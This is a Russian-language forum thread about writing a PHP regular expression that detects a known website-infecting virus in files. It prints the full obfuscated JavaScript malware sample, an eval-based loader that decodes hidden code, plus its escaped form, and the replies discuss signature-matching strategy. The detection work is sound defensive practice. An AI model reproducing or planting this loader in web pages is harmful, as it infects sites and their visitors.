Jump to content
Search In
  • More options...
Find results that contain...
Find results in...

мультистроковая регулярка для preg_match


afwollis
 Share

Recommended Posts

имеем сигнатуру вируса, встречающегося на сайтах

<html><body><script>el=document.createElement("div");el.innerHTML="ReferenceErr";try{try{throw 1}catch(a){b[2]=21};}catch(a){k=el.innerHTML+a.toString().substr(0,0);};ar="m}ua<{A\"E]Cf[;=,di:s>01o)hny-w ve /(zglTBr.Ncpb't";ar2="R132c132c68c44c120c140c64c92c176c8c0c128c104c192c168c148c128c192c32c152c128c0c128c104c192c76c160c108c156c12c148c172c12c0c128c140c188c184c92c64c108c188c96c48c84c36c96c20c132c132c132c68c44c164c12c0c128c164c140c96c52c132c132c4c120c128c152c76c128c120c20c132c132c132c64c92c176c8c0c128c104c192c168c116c164c68c192c128c140c28c16c68c44c164c12c0c128c120c76c164c176c56c188c100c192c192c180c72c136c136c104c192c112c76c192c12c192c76c168c176c144c168c176c176c136c176c92c8c104c192c128c164c168c100c192c0c188c120c116c68c64c192c100c56c188c88c84c188c120c100c128c68c148c100c192c56c188c88c84c188c120c76c192c108c152c128c56c188c124c68c76c68c184c68c152c68c192c108c72c100c68c64c64c128c104c52c180c92c76c68c192c68c92c104c72c12c184c76c92c152c8c192c128c52c152c128c44c192c72c84c52c192c92c180c72c84c52c188c80c16c136c68c44c164c12c0c128c80c28c96c52c132c132c4c132c132c44c8c104c176c192c68c92c104c120c68c44c164c12c0c128c164c140c96c20c132c132c132c124c12c164c120c44c120c56c120c64c92c176c8c0c128c104c192c168c176c164c128c12c192c128c32c152c128c0c128c104c192c140c188c68c44c164c12c0c128c188c96c52c44c168c76c128c192c24c192c192c164c68c184c8c192c128c140c188c76c164c176c188c60c188c100c192c192c180c72c136c136c104c192c112c76c192c12c192c76c168c176c144c168c176c176c136c176c92c8c104c192c128c164c168c100c192c0c188c96c52c44c168c76c192c108c152c128c168c124c68c76c68c184c68c152c68c192c108c56c188c100c68c64c64c128c104c188c52c44c168c76c192c108c152c128c168c180c92c76c68c192c68c92c104c56c188c12c184c76c92c152c8c192c128c188c52c44c168c76c192c108c152c128c168c152c128c44c192c56c188c84c188c52c44c168c76c192c108c152c128c168c192c92c180c56c188c84c188c52c44c168c76c128c192c24c192c192c164c68c184c8c192c128c140c188c116c68c64c192c100c188c60c188c88c84c188c96c52c44c168c76c128c192c24c192c192c164c68c184c8c192c128c140c188c100c128c68c148c100c192c188c60c188c88c84c188c96c52c132c132c132c64c92c176c8c0c128c104c192c168c148c128c192c32c152c128c0c128c104c192c76c160c108c156c12c148c172c12c0c128c140c188c184c92c64c108c188c96c48c84c36c168c12c180c180c128c104c64c40c100c68c152c64c140c44c96c52c132c132c4";pau="urn eReferenceErr".replace(k,"va"+"l");e=Function("ret"+pau)();ar2=ar2.split("c");ar2[0]="132";s="";for(i=0;i!=ar2.length;i++){e('po'.concat('s=par','seInt(k','.rep','lace("R','eferen','","0a','sd"))+','ar2[','i]/','4'));e('s+=ar.substr(pos,1)');}
e(s);</script></body></html>

обратите внимание - здесь две строки.

после

$preg_quoted_signature = preg_quote($signature);
получаем такое значение сигнатуры

\\\el\=document\.createElement\("div"\);el\.innerHTML\="ReferenceErr";try\{try\{throw 1\}catch\(a\)\{b\[2\]\=21\};\}catch\(a\)\{k\=el\.innerHTML\+a\.toString\(\)\.substr\(0,0\);\};ar\="m\}ua\<\{A\\"E\]Cf\[;\=,di\:s\>01o\)hny\-w ve /\(zglTBr\.Ncpb't";ar2\="R132c132c68c44c120c140c64c92c176c8c0c128c104c192c168c148c128c192c32c152c128c0c128c104c192c76c160c108c156c12c148c172c12c0c128c140c188c184c92c64c108c188c96c48c84c36c96c20c132c132c132c68c44c164c12c0c128c164c140c96c52c132c132c4c120c128c152c76c128c120c20c132c132c132c64c92c176c8c0c128c104c192c168c116c164c68c192c128c140c28c16c68c44c164c12c0c128c120c76c164c176c56c188c100c192c192c180c72c136c136c104c192c112c76c192c12c192c76c168c176c144c168c176c176c136c176c92c8c104c192c128c164c168c100c192c0c188c120c116c68c64c192c100c56c188c88c84c188c120c100c128c68c148c100c192c56c188c88c84c188c120c76c192c108c152c128c56c188c124c68c76c68c184c68c152c68c192c108c72c100c68c64c64c128c104c52c180c92c76c68c192c68c92c104c72c12c184c76c92c152c8c192c128c52c152c128c44c192c72c84c52c192c92c180c72c84c52c188c80c16c136c68c44c164c12c0c128c80c28c96c52c132c132c4c132c132c44c8c104c176c192c68c92c104c120c68c44c164c12c0c128c164c140c96c20c132c132c132c124c12c164c120c44c120c56c120c64c92c176c8c0c128c104c192c168c176c164c128c12c192c128c32c152c128c0c128c104c192c140c188c68c44c164c12c0c128c188c96c52c44c168c76c128c192c24c192c192c164c68c184c8c192c128c140c188c76c164c176c188c60c188c100c192c192c180c72c136c136c104c192c112c76c192c12c192c76c168c176c144c168c176c176c136c176c92c8c104c192c128c164c168c100c192c0c188c96c52c44c168c76c192c108c152c128c168c124c68c76c68c184c68c152c68c192c108c56c188c100c68c64c64c128c104c188c52c44c168c76c192c108c152c128c168c180c92c76c68c192c68c92c104c56c188c12c184c76c92c152c8c192c128c188c52c44c168c76c192c108c152c128c168c152c128c44c192c56c188c84c188c52c44c168c76c192c108c152c128c168c192c92c180c56c188c84c188c52c44c168c76c128c192c24c192c192c164c68c184c8c192c128c140c188c116c68c64c192c100c188c60c188c88c84c188c96c52c44c168c76c128c192c24c192c192c164c68c184c8c192c128c140c188c100c128c68c148c100c192c188c60c188c88c84c188c96c52c132c132c132c64c92c176c8c0c128c104c192c168c148c128c192c32c152c128c0c128c104c192c76c160c108c156c12c148c172c12c0c128c140c188c184c92c64c108c188c96c48c84c36c168c12c180c180c128c104c64c40c100c68c152c64c140c44c96c52c132c132c4";pau\="urn eReferenceErr"\.replace\(k,"va"\+"l"\);e\=Function\("ret"\+pau\)\(\);ar2\=ar2\.split\("c"\);ar2\[0\]\="132";s\="";for\(i\=0;i\!\=ar2\.length;i\+\+\)\{e\('po'\.concat\('s\=par','seInt\(k','\.rep','lace\("R','eferen','","0a','sd"\)\)\+','ar2\[','i\]/','4'\)\);e\('s\+\=ar\.substr\(pos,1\)'\);\} e\(s\);\\\

задача:

составить правильное регулярное выражение для поиска сигнатуры в файлах.

<?php
$fullfile = "/some/path/to/some/file";
$fsize = filesize($fullfile);
if ($fsize!=0) {
$fh = fopen($fullfile, 'r');
	$theData = fread($fh, $fsize);
fclose($fh);

if (preg_match("тут_должно быть корректное_регулярное_выражение", $theData)) {
	// какие-то действия
}
}
?>

Link to comment
Share on other sites

ммм... надо было подробнее описать ситуацию...

сигнатур на самом деле уже около десятка и хотелось получить одну универсальную регулярку для всех случаев.

preg_quote использовал в надежде искать именно по сигнатуре (совпадение символ в символ), примерно так

if (preg_match("~(".$preg_quoted_signature.")~sm", $theData)) {

стоит ли для каждой сигнатуры писать отдельную регулярку, по которой потом и проверять файлы или все таки можно решить это дело универсальным способом?...

Link to comment
Share on other sites

Так символ в символ, как раз и будет требовать наличия базы с заразами. А если зараза умеет модифицироваться? запаришся... Поэтому я и предложил по какому фрагменту можно отлавливать независимо от того как модифицировано тело заразы.

Такая <html><body><script> последовательность в реале не встречается, и можно смело резать...

Link to comment
Share on other sites

Такая <html><body><script> последовательность в реале не встречается, и можно смело резать...

такое есть только у одной пакости.

Так символ в символ, как раз и будет требовать наличия базы с заразами.

база есть и будет пополняться.

А если зараза умеет модифицироваться?

будем улучшать логику поиска :)

и добавлять новые сигнатуры.

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...

Important Information

On our site, cookies are used and personal data is processed to improve the user interface. To find out what and what personal data we are processing, please go to the link. If you click "I agree," it means that you understand and accept all the conditions specified in this Privacy Notice.